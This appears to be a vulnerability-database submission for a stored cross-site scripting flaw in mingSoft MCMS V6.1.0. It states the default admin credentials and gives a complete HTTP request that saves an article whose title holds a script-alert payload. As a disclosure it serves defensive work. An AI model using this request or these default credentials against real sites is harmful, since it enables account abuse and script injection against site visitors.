| tiêu đề | code-projects mingSoft MCMS V6.1.0 Cross Site Scripting |
|---|
| Mô tả | Download the source code from https://gitee.com/mingSoft/MCMS and deploy it locally for testing. The default administrator username and password are msopen/msopen.
Add a new article in the article management module of the backend. The article title is not filtered in any way, so any XSS payload can easily trigger it. Then, accessing the homepage will trigger an XSS attack.
POST /ms/cms/content/save.do HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 311
sec-ch-ua-platform: "Windows"
Cache-Control: no-cache
Pragma: no-cache
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/ms/cms/content/index.do?
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: pageno_cookie=1; SHIRO_SESSION_ID=21278f9c-dd94-4a85-a5e9-556c95583048
Connection: keep-alive
contentTitle=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&contentShortTitle=&categoryId=1329316146811314177&contentType=&contentDisplay=0&contentAuthor=&contentSource=&contentSort=0&contentTags=&contentImg=&contentDescription=&contentKeyword=&contentDetails=&contentOutLink=&contentDatetime=2025-11-07%2020%3A34%3A44 |
|---|
| Nguồn | ⚠️ https://gitee.com/mingSoft/MCMS/issues/ID7OBM |
|---|
| Người dùng | NasYh (UID 92820) |
|---|
| Đệ trình | 20/11/2025 13:35 (cách đây 11 các tháng) |
|---|
| Kiểm duyệt | 06/12/2025 14:54 (16 days later) |
|---|
| Trạng thái | Bản sao |
|---|
| Mục VulDB | 216499 [Mingsoft MCMS 5.2.9 Article save Tập lệnh chéo trang] |
|---|
| điểm | 0 |
|---|